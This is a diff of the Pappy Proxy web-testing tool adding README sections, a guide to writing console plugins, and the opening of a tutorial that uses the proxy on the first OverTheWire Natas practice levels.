Version 0.2.1

.buildinfo

@@ -0,0 +1,4 @@
+# Sphinx build info version 1
+# This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done.
+config: bbf715646cf3ecd7b0f05515e807936d
+tags: 645f666f9bcd5a90fca523b33c5a78b7

README.md

@@ -743,6 +743,16 @@ A lot of the time, you can get away with writing a macro. However, you may consi
 
 My guess is that if you need one quick thing for a project, you're better off writing a macro first and seeing if you end up using it in future projects. Then if you find yourself needing it a lot, write a plugin for it. You may also consider keeping a `mine.py` plugin where you can write out commands that you use regularly but may not be worth creating a dedicated plugin for.
 
+Global Settings
+---------------
+There are some settings that apply to Pappy as a whole and are stored in `~/.pappy/global_config.json`. These settings are generally for tuning performance or modifying behavior on a system-wide level. No information about projects is put in here since it is world readable. You can technically add settings in here for plugins that you write, but if it's at all possible, please keep settings in the normal project config.
+
+Settings included in `~/.pappy/global_config.json`:
+
+| Setting | Description |
+|:--------|:------------|
+| cache_size | The number of requests from history that will be included in memory at any given time. Set to -1 to keep everything in memory. See the request cache section for more info. |
+
 FAQ
 ---
 
@@ -760,10 +770,23 @@ How to have Burp forward traffic through Pappy:
 ### Why does my request have an id of `--`?!?!
 You can't do anything with a request/response until it is decoded and saved to disk. In between the time when a request is decoded and when it's saved to disk, it will have an ID of `--`. So just wait a little bit and it will get an ID you can use.
 
+Boring, Technical Stuff
+-----------------------
+I do some stuff to try and keep speed and memory usage to reasonable levels. Unfortunately, things might seem slow in some areas. This is where I try and explain why those exist. Honestly, you probably don't care about this, but I'd rather have it written down and have nobody read it than just leave people in the dark.
+
+### Request Cache / Memory usage
+For performance reasons, Pappy by default will not store every request in memory. The cache will store a certain number of the most recently accessed requests in memory. This means that if you go through all of history, it could be slow (for example running `ls a` or `sm`). If you have enough RAM to keep everything in memory, you can set the request cache size to -1 to just keep everything in memory. However, even if the cache size is unlimited, it still won't load a request into memory untill you access it. So if you want to load everything in memory, run `ls a`.
+
+By default, Pappy will cache 2000 requests. This is kind of heavy, but it's assumed you're doing testing on a reasonably specced laptop. Personally, I live on the edge and use -1 until I run into memory issues.
+
+
 Changelog
 ---------
 The boring part of the readme
 
+* 0.2.1
+    * Improve memory usage
+    * Tweaked plugin API
 * 0.2.0
     * Lots of refactoring
     * Plugins

docs/build/html/.buildinfo

@@ -0,0 +1,4 @@
+# Sphinx build info version 1
+# This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done.
+config: 218eea0cc3c2e724d7b1270f4fcdcfb7
+tags: 645f666f9bcd5a90fca523b33c5a78b7

docs/build/html/_sources/index.txt

@@ -0,0 +1,25 @@
+.. Pappy Proxy documentation master file, created by
+   sphinx-quickstart on Sat Dec 12 11:17:09 2015.
+   You can adapt this file completely to your liking, but it should at least
+   contain the root `toctree` directive.
+
+Welcome to Pappy Proxy's documentation!
+=======================================
+
+Contents:
+
+.. toctree::
+   :maxdepth: 2
+
+   overview
+   tutorial
+   pappyplugins
+
+
+Indices and tables
+==================
+
+* :ref:`genindex`
+* :ref:`modindex`
+* :ref:`search`
+

docs/build/html/_sources/modules.txt

@@ -0,0 +1,7 @@
+pappyproxy
+==========
+
+.. toctree::
+   :maxdepth: 4
+
+   pappyproxy

docs/build/html/_sources/pappyplugins.txt

@@ -0,0 +1,450 @@
+Writing Plugins for the Pappy Proxy
+***********************************
+
+.. contents:: Table of Contents
+   :local:
+
+Introduction
+============
+
+Are macros not powerful enough? Want to make something reusable? Want to add console commands?! Then you might want to write yourself a plugin. Some quick highlights about plugins:
+
+* Python scripts stored in ``~/.pappy/plugins``
+* Can add console commands
+* For actions which aren't specific to one project
+* Harder to write than macros
+
+Since macros can also use the plugin API, plugins aren't any more powerful than macros (besides adding console commands). However, if you find yourself copying a useful macro to more than one project, it may be worth it to just bind it to some commands, put the script in one place, and stop worrying about copying it around. Plus then you can put it on GitHub for some sweet sweet nerd cred.
+
+Should I Write a Plugin or a Macro?
+-----------------------------------
+A lot of the time, you can get away with writing a macro. However, you may consider writing a plugin if:
+
+* You find yourself copying one macro to multiple projects
+* You want to write a general tool that can be applied to any website
+* You need to maintain state during the Pappy session
+
+My guess is that if you need one quick thing for a project, you're better off writing a macro first and seeing if you end up using it in future projects. Then if you find yourself needing it a lot, write a plugin for it. You may also consider keeping a ``mine.py`` plugin where you can write out commands that you use regularly but may not be worth creating a dedicated plugin for.
+
+Plugins Get Merged
+------------------
+If you write a useful plugin, as long as it isn't uber niche, I'll try and merge it into the core project.
+
+Creating a Plugin
+=================
+Whenever you make a macro, you'll have to bind some functions to some console commands. To do this, you'll have to define a ``load_cmds`` function in your plugin. This function should take one argument. When the plugin is loaded, this function will be called and the console object will be passed to this function. You can then use ``set_cmds`` and ``add_aliases`` to bind functions to console commands.
+
+Writing a Hello World Plugin
+----------------------------
+It's probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a ``hello`` command and gives an alias ``hlo`` (we'll go over all the parts in a second)::
+    
+    ## hello.py
+
+    def hello_world(line):
+        print "Hello, world!"
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'hello': (hello_world, None),
+        })
+        cmd.add_aliases([
+            ('hello', 'hlo'),
+        ])
+
+Save this as ``~/.pappy/plugins/hello.py`` and run Pappy. You should have a new ``hello`` command that prints your message::
+
+    $ cp hello.py ~/.pappy/plugins/
+    $ pappy -l
+    Temporary datafile is /tmp/tmp1Myw6q
+    Proxy is listening on port 8000
+    pappy> hello
+    Hello, world!
+    pappy> hlo
+    Hello, world!
+    pappy>
+  
+Awesome! So let's go over the code. Here are the important parts of the code:
+
+* We define a function that we want to call
+* We define ``load_cmds(cmd)`` to be called when our plugin is loaded to bind our function to a command
+* We use ``cmd.set_cmds`` to set all our commands
+* We use ``cmd.add_aliases`` to add aliases for commands
+
+Now let's go over it in detail
+
+Passing Arguments to Your Function
+----------------------------------
+
+Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run ``hello foo bar``, in our function line would be "foo bar". **I suggest using shlex.split(line) to parse multiple arguments**. So let's update our script to take some arguments::
+
+    ## hello.py
+    import shlex
+
+    def hello_world(line):
+        if line:
+            args = shlex.split(line)
+            print 'Hello, %s!' % (', '.join(args))
+        else:
+            print "Hello, world!"
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'hello': (hello_world, None),
+        })
+        cmd.add_aliases([
+            ('hello', 'hlo'),
+        ])
+
+Save your changes and restart pappy to reload the plugin::
+        
+    $ pappy -l
+    Temporary datafile is /tmp/tmpBOXyJ3
+    Proxy is listening on port 8000
+    pappy> hello
+    Hello, world!
+    pappy> hello foo bar baz
+    Hello, foo, bar, baz!
+    pappy> hello foo bar "baz lihtyur"
+    Hello, foo, bar, baz lihtyur!
+    pappy>
+
+Adding More Aliases
+-------------------
+
+So now let's add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into ``cmd.add_aliases``. The first element is the real name of the command (what you set with ``set_cmds``) and the second value is the alias you want to type. So let's make it so we can just type ``ho`` to say hello::
+
+    ## hello.py
+    import shlex
+
+    def hello_world(line):
+        if line:
+            args = shlex.split(line)
+            print 'Hello, %s!' % (', '.join(args))
+        else:
+            print "Hello, world!"
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'hello': (hello_world, None),
+        })
+        cmd.add_aliases([
+            ('hello', 'hlo'),
+            ('hello', 'ho'),
+        ])
+
+.. note::
+
+   You must use the actual name of the command that you used in ``set_cmds``. You can't "chain" alieases. As a result, in our example we couldn't add the alias ``('hlo', 'ho')`` to add ``ho`` as our alias.
+
+Then reload the plugin::
+
+    $ pappy -l
+    Temporary datafile is /tmp/tmpBOXyJ3
+    Proxy is listening on port 8000
+    pappy> ho
+    Hello, world!
+    pappy> ho foo bar baz
+    Hello, foo, bar, baz!
+    pappy> ho foo bar "baz lihtyur"
+    Hello, foo, bar, baz lihtyur!
+    pappy>
+
+Adding Another Command
+----------------------
+So now let's add a ``robe_and_wizard_hat`` command. To do this, we will define another function, then add another entry in the dict that is passed to ``set_cmds``. The second value in the tuple is the autocomplete function, but we'll get to that later. For now, just put in ``None`` to say we don't have one. We will also add a ``wh`` alias to it::
+
+    $ pappy -l
+    Temporary datafile is /tmp/tmpyl2cEZ
+    Proxy is listening on port 8000
+    pappy> wh
+    I put on my robe and wizard hat
+    pappy>
+    
+Adding Autocompletion
+---------------------
+You can also define a function to handle autocompletion for your command. In order to do this, you define a function that takes 4 arguments: ``text``, ``line``, ``begidx``, and ``endidx``. From the `Cmd docs <https://docs.python.org/2/library/cmd.html>`_, this is what the arguments mean:
+
+  ``text`` is the string prefix we are attempting to match: all returned matches must begin with it. ``line`` is the current input line with leading whitespace removed, ``begidx`` and ``endidx`` are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in.
+
+Let's let the user to autocomplete some names in our plugin::
+
+    import shlex
+    
+    _AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
+    
+    def hello_world(line):
+        if line:
+            args = shlex.split(line)
+            print 'Hello, %s!' % (', '.join(args))
+        else:
+            print "Hello, world!"
+            
+    def put_on_rope_and_wizard_hat(line):
+        if line:
+            print '%s puts on their robe and wizard hat' % line
+        else:
+            print 'I put on my robe and wizard hat'
+    
+    def complete_hello_world(text, line, begidx, endidx):
+        return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
+            
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'hello': (hello_world, complete_hello_world),
+            'wizard_hat': (put_on_rope_and_wizard_hat, None),
+        })
+        cmd.add_aliases([
+            ('hello', 'hlo'),
+            ('wizard_hat', 'wh'),
+        ])
+
+Then restart and run::
+
+    $ pappy -l
+    Temporary datafile is /tmp/tmp3J97rE
+    Proxy is listening on port 8000
+    pappy> hello
+    alice      allie      mallory    sarah      slagathor
+    pappy> hello allie
+    Hello, allie!
+    pappy>
+
+You can't see it, but I hit tab twice after typing hello to get the completions to appear.
+
+Adding Help
+-----------
+Now let's say we want to add some help to the command so that when the user runs ``help hello`` they get something useful. To do that, just add a docstring to your function::
+
+    import shlex
+    
+    _AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
+    
+    def hello_world(line):
+        """
+        Say hello to the world. Usage: hello [name]
+        """
+
+        if line:
+            args = shlex.split(line)
+            print 'Hello, %s!' % (', '.join(args))
+        else:
+            print "Hello, world!"
+            
+    def put_on_rope_and_wizard_hat(line):
+        if line:
+            print '%s puts on their robe and wizard hat' % line
+        else:
+            print 'I put on my robe and wizard hat'
+    
+    def complete_hello_world(text, line, begidx, endidx):
+        return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
+            
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'hello': (hello_world, complete_hello_world),
+            'wizard_hat': (put_on_rope_and_wizard_hat, None),
+        })
+        cmd.add_aliases([
+            ('hello', 'hlo'),
+            ('wizard_hat', 'wh'),
+        ])
+Using defer.inlineCallbacks With a Command
+------------------------------------------
+
+.. note::
+   If you are using inlineCallbacks, you can't use any functions which are blocking versions of async functions. For example, you cannot use :func:`pappyproxy.http.Request.save` and must instead use :func:`pappyproxy.http.Request.async_deep_save`.
+
+.. note::
+   This tutorial won't tell you how to use inlineCallbacks in general. Type "twisted inline callbacks" into google to figure out what they are. This is mainly just a reminder to use the ``crochet`` wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.
+
+Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet <https://pypi.python.org/pypi/crochet>`_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.console.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function::
+
+    import shlex
+    from pappyproxy.console import load_reqlist
+    
+    def print_hosts(line):
+        args = shlex.split(line)
+        reqs = load_reqlist(args[0]) # It's supposed to return a list of requests, right?
+        for r in reqs:
+            print 'The host for request %s is: %s' % (r.reqid, r.host)
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'print_hosts': (print_hosts, None),
+        })
+        cmd.add_aliases([
+        ])
+
+And we run it::
+
+    pappy> print_hosts 1
+    Traceback (most recent call last):
+      File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 788, in onecmd_plus_hooks
+        stop = self.onecmd(statement)
+      File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 871, in onecmd
+        stop = func(statement)
+      File "/home/supahacker/pappy/pappyproxy/console.py", line 15, in catch
+        func(*args, **kwargs)
+      File "/home/supahacker/.pappy/plugins/hosts.py", line 7, in print_hosts
+        for r in reqs:
+    TypeError: iteration over non-sequence
+    iteration over non-sequence
+    pappy>
+  
+Iteration over a non-sequence? what? Well, :func:`pappyproxy.console.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this::
+
+    import shlex
+    from pappyproxy.console import load_reqlist
+    from twisted.internet import defer
+    
+    @defer.inlineCallbacks
+    def print_hosts(line):
+        args = shlex.split(line)
+        reqs = yield load_reqlist(args[0])
+        for r in reqs:
+            print 'The host for request %s is: %s' % (r.reqid, r.host)
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'print_hosts': (print_hosts, None),
+        })
+        cmd.add_aliases([
+        ])
+
+However, the console assumes that any functions it calls will be blocking. As a result, we need to add the ``crochet.wait_for`` wrapper::
+
+    import shlex
+    import crochet
+    from pappyproxy.console import load_reqlist
+    from twisted.internet import defer
+    
+    @crochet.wait_for(timeout=None)
+    @defer.inlineCallbacks
+    def print_hosts(line):
+        args = shlex.split(line)
+        reqs = yield load_reqlist(args[0])
+        for r in reqs:
+            print 'The host for request %s is: %s' % (r.reqid, r.host)
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'print_hosts': (print_hosts, None),
+        })
+        cmd.add_aliases([
+        ])
+
+And now we're good! If you run it without the crochet wrapper, it may still work. However, since the console assumes any functions it calls will be blocking, not having the wrapper could lead to weird errors.
+    
+Plugin API
+==========
+There are also some useful functions that you can use to interact with the request history and the context. It's somewhat limited for now, but for now you can at least look through history and create/send new requests. Hopefully the API will expand as people find themselves wanting to do new things. That means **if you're writing a plugin, let me know and I'll add any APIs you need**. For now at least, plugins will let you maintain state over the course of the session and let you define commands.
+
+The best way to learn what you can do is to go through the :ref:`pappyproxy-package` and look at all the available functions.
+
+API Functions
+-------------
+See :mod:`pappyproxy.plugin` for docs on all the functions you can use. You can also use any of the functions provided for writing macros (and vice-versa).
+
+Storing Data on Disk
+--------------------
+Unfortunately, you're on your own if you want to store plugin specific stuff on disk. It's also important that you store any data that is specific to a project in the same directory as the data file. This is to make sure that if you encrypt your project folder, you can be sure that no sensitive data about the test can be found anywhere else. The only time you should store anything outside of the current directory is to store global plugin settings, and even then it would probably be better to parse options from ``config.config_dict``. Pappy doesn't even store data outside of the project directory except for its CA certificates.
+
+However, if your plugin is a special snowflake that needs to store unencrypted, global settings, you should create a directory for your plugin in ``{config.DATA_DIR}/plugindata`` and put your files there. But again, avoid this if you can.
+
+.. note::
+   Any project-specific data (ie anything that contains info about requests) should be stored in the project directory unless you have a really really good reason. This is because it must be possible to secure any sensitive data by encrypting the project folder and storing data outside of the directory will add complications.
+
+.. warning::
+   Do not modify the data file schema. There is a good chance the schema will break in future versions of Pappy.
+
+Storing Custom Request Metadata
+-------------------------------
+:class:`pappyproxy.http.Request` objects have a ``plugin_data`` attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use :func:`pappyproxy.http.Request.get_plugin_dict` to get a dictionary for a specific name. It will create an entry for that name if it doesn't exist. I also suggest defining a function plugin-wide for getting the plugin's data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.
+
+.. note::
+   You will need to save the request using something like :func:`pappyproxy.http.Request.save` or :func:`pappyproxy.http.Request.async_deep_save` in order to store the changes in the data file.
+
+Here is an example plugin for storing the user-agent (if it exists) in the ``plugin_data`` dict of a request under the key ``agent``::
+
+    import crochet
+    import shlex
+    from twisted.internet import defer
+    
+    from pappyproxy.console import load_reqlist
+    from pappyproxy.plugin import main_context
+    from pappyproxy.util import PappyException
+    
+    DATA_KEY = 'agent'
+    
+    def get_data(r):
+        return r.get_plugin_dict(DATA_KEY)
+    
+    @crochet.wait_for(timeout=None)
+    @defer.inlineCallbacks
+    def update_agent_metadata(line):
+        for r in main_context().active_requests:
+            if 'user-agent' in r.headers:
+                get_data(r)['agent'] = r.headers['user-agent']
+            yield r.async_deep_save()
+    
+    @crochet.wait_for(timeout=None)
+    @defer.inlineCallbacks
+    def view_agent(line):
+        args = shlex.split(line)
+        reqs = yield load_reqlist(args[0])
+        for r in reqs:
+            if 'agent' in get_data(r):
+                print 'The user agent for %s is "%s"' % (r.reqid, get_data(r)['agent'])
+            else:
+                print 'Request %s has no user agent data' % r.reqid
+    
+    ###############
+    ## Plugin hooks
+    
+    def load_cmds(cmd):
+        cmd.set_cmds({
+            'agent_update': (update_agent_metadata, None),
+            'view_agent': (view_agent, None),
+        })
+        cmd.add_aliases([
+        ])
+
+Useful Functions
+----------------
+* Load a request by id: :func:`pappyproxy.http.Request.load_request`
+* Create a filter from a filter string: :func:`pappyproxy.context.Filter.from_filter_string`
+
+Built In Plugins As Examples
+============================
+
+Built In Plugins
+----------------
+All the commands in Pappy are implemented as plugins. I have done what I could to avoid using internal functions as much as I could, but there are still some instances where I had to implement an internal function in order to get the functions I needed. However, you can still look them over to see how things are structured and see some examples of semi-complicated plugins.
+
+Interceptor and Repeater
+------------------------
+Pappy's interceptor and repeater are fully implemented as a plugin. It defines an intercepting macro that handles saving then editing messages and commands that read those files and edit them. It relies on Twisted to switch between the macro handling the request and the command modifying it, so if you want to make something similar, you'll have to learn how to use deferreds.

docs/build/html/_sources/pappyproxy.txt

@@ -0,0 +1,129 @@
+pappyproxy package
+==================
+
+Subpackages
+-----------
+
+.. toctree::
+
+    pappyproxy.plugins
+    pappyproxy.schema
+    pappyproxy.templates
+    pappyproxy.tests
+    pappyproxy.vim_repeater
+
+Submodules
+----------
+
+pappyproxy.comm module
+----------------------
+
+.. automodule:: pappyproxy.comm
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.config module
+------------------------
+
+.. automodule:: pappyproxy.config
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.console module
+-------------------------
+
+.. automodule:: pappyproxy.console
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.context module
+-------------------------
+
+.. automodule:: pappyproxy.context
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.http module
+----------------------
+
+.. automodule:: pappyproxy.http
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.iter module
+----------------------
+
+.. automodule:: pappyproxy.iter
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.macros module
+------------------------
+
+.. automodule:: pappyproxy.macros
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.pappy module
+-----------------------
+
+.. automodule:: pappyproxy.pappy
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.plugin module
+------------------------
+
+.. automodule:: pappyproxy.plugin
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.proxy module
+-----------------------
+
+.. automodule:: pappyproxy.proxy
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.repeater module
+--------------------------
+
+.. automodule:: pappyproxy.repeater
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.session module
+-------------------------
+
+.. automodule:: pappyproxy.session
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.util module
+----------------------
+
+.. automodule:: pappyproxy.util
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+
+Module contents
+---------------
+
+.. automodule:: pappyproxy
+    :members:
+    :undoc-members:
+    :show-inheritance:

docs/build/html/_sources/tutorial.txt

@@ -0,0 +1,720 @@
+The Pappy Proxy Tutorial
+************************
+
+.. contents:: Table of Contents
+   :local:
+       
+Getting Set Up
+==============
+
+Introduction
+------------
+This is a quick tutorial to get you started using Pappy like a pro. To do this, we'll be going through from `Natas <http://overthewire.org/wargames/natas/>`_. If you haven't done it yet and don't want it spoiled, I suggest giving it a try with Burp since we'll be telling you all the answers right off the bat.
+
+Getting Started
+---------------
+The first thing you'll need to do is get Pappy installed.
+
+Install from pypi::
+
+    $ pip install pappy
+
+or install from source::
+
+    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
+    $ cd pappy-proxy
+    $ pip install .
+
+.. note::
+   
+   Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!
+
+
+That was easy! Make a project directory anywhere for Natas and fire up Pappy.::
+
+    $ mkdir natas
+    $ cd natas
+    Copying default config to ./config.json
+    Proxy is listening on port 8000
+    pappy>
+
+If you look at what's in the directory, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
+
+* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy
+* ``config.json`` stores settings for the proxy
+
+You don't need to touch either of these right now. Just hop back into Pappy.
+
+Installing Pappy's CA Cert
+--------------------------
+In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.
+
+To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.::
+
+    pappy> gencerts
+    This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
+    (y/N) y
+    Generating certs to /home/anonymouse/pappy/pappyproxy/certs
+    Generating private key...  Done!
+    Generating client cert...  Done!
+    pappy>
+
+The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser.
+
+Installing the Cert in Firefox
+++++++++++++++++++++++++++++++
+1. Open Firefox
+2. Go to ``Preferences -> Advanced -> View Certificates -> Authorities``
+3. Click ``Import``
+4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
+
+Installing the Cert in Chrome
++++++++++++++++++++++++++++++
+1. Open Chrome
+2. Go to ``Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities``
+3. Click ``Import``
+4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
+
+Installing the Cert in Safari
++++++++++++++++++++++++++++++
+1. Use Finder to navigate to the directory where the certs were generated
+2. Double click the cert and follow the prompts to add it to your system keychain
+
+Installing the Cert in Internet Explorer
+++++++++++++++++++++++++++++++++++++++++
+1. No.
+
+Configuring Your Browser
+------------------------
+Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now.
+
+.. note::
+   Configure your browser extension to use the proxy server at **loalhost** on **port 8000**
+
+Here are some proxy plugins that should work
+
+* Firefox: `FoxyProxy <https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/>`_
+* Chrome: `Proxy SwitchySharp <https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm?hl=en>`_
+
+Testing it Out
+--------------
+Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website::
+
+    /pappynatas/ $ pappy -l
+    Temporary datafile is /tmp/tmp5AQBrH
+    Proxy is listening on port 8000
+    pappy> ls
+    ID  Verb  Host         Path               S-Code                 Req Len  Rsp Len  Time  Mngl
+    8   GET   vitaly.sexy  /favicon.ico       404 Not Found          0        114      0.21  --
+    7   GET   vitaly.sexy  /favicon.ico       404 Not Found          0        114      0.22  --
+    6   GET   vitaly.sexy  /esr1.jpg          200 OK                 0        17653    0.29  --
+    5   GET   vitaly.sexy  /netscape.gif      200 OK                 0        1135     0.22  --
+    4   GET   vitaly.sexy  /construction.gif  200 OK                 0        28366    0.26  --
+    3   GET   vitaly.sexy  /vitaly2.jpg       200 OK                 0        2034003  1.34  --
+    2   GET   vitaly.sexy  /                  200 OK                 0        1201     0.21  --
+    1   GET   vitaly.sexy  /                  301 Moved Permanently  0        178      0.27  --
+    pappy> quit
+    Deleting temporary datafile
+
+Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
+
+The Tutorial
+============
+
+Setting the Scope
+-----------------
+The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``::
+
+    pappy> filter host containsr "natas\.labs\.overthewire\.org$"
+    pappy> scope_save
+
+What these commands do:
+
+1. Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``.
+2. Save the current context as the scope
+
+The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched.
+
+If this doesn't make sense, don't worry, we'll come back to this.
+
+Natas 0
+-------
+First, go to `<http://natas0.natas.labs.overthewire.org>`_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one.
+
+1. Right click the page and select "view source"
+2. Read the password for natas1
+3. Visit `<http://natas1.natas.labs.overthewire.org>`_ and log in with the username ``natas1`` and the password you found.
+
+Natas 1
+-------
+Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
+
+* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with.
+* ``vfq <reqid>`` prints the full request of a request you specify
+* ``vfs <reqid>`` prints the full response to a request you specify
+
+So to solve natas1, we'll want to view the full response to our request to the page::
+
+    pappy> ls
+    ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+    16  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+    15  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+    14  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.27  --
+    13  GET   natas1.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+    12  GET   natas0.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+    11  GET   natas0.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.26  --
+    10  GET   natas.labs.overthewire.org         /img/wechall.gif     200 OK            0        9279     0.28  --
+    9   GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.50  --
+    8   GET   natas.labs.overthewire.org         /js/wechall-data.js  200 OK            0        564      0.48  --
+    7   GET   natas.labs.overthewire.org         /js/jquery-ui.js     200 OK            0        435844   1.37  --
+    6   GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+    4   GET   natas.labs.overthewire.org         /css/wechall.css     200 OK            0        677      0.48  --
+    5   GET   natas.labs.overthewire.org         /css/jquery-ui.css   200 OK            0        32046    0.49  --
+    3   GET   natas.labs.overthewire.org         /css/level.css       200 OK            0        1332     0.48  --
+    2   GET   natas0.natas.labs.overthewire.org  /                    200 OK            0        918      0.26  --
+    1   GET   natas0.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+    pappy> vfs 14
+    
+    HTTP/1.1 200 OK
+    Date: Fri, 18 Dec 2015 19:47:21 GMT
+    Server: Apache/2.4.7 (Ubuntu)
+    Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
+    ETag: "427-507cf258a5240-gzip"
+    Accept-Ranges: bytes
+    Vary: Accept-Encoding
+    Content-Length: 1063
+    Keep-Alive: timeout=5, max=100
+    Connection: Keep-Alive
+    Content-Type: text/html
+    
+    ... snip ...
+    
+    <!--The password for natas2 is [password] -->
+
+    ... snip ...
+
+    pappy>
+
+Yay!
+
+Natas 2
+-------
+When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.::
+
+  pappy> ls
+  ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+  30  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+  29  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+  28  GET   natas2.natas.labs.overthewire.org  /files/pixel.png     200 OK            0        303      0.27  --
+  27  GET   natas2.natas.labs.overthewire.org  /                    200 OK            0        872      0.27  --
+  26  GET   natas2.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+  ... snip ...
+  pappy> vfs 27
+  
+  HTTP/1.1 200 OK
+  ... snip ...
+  <body>
+  <h1>natas2</h1>
+  <div id="content">
+  There is nothing on this page
+  <img src="files/pixel.png">
+  </div>
+  </body></html>
+  
+  pappy>
+
+So the only suspicious thing is ``<img src="files/pixel.png">``. I'll let you figure out the rest ;)
+
+Natas 3
+-------
+This one doesn't require Pappy. Just view the ``robots.txt`` file.
+
+Finding Your Passwords Later (How to Use Filters)
+-------------------------------------------------
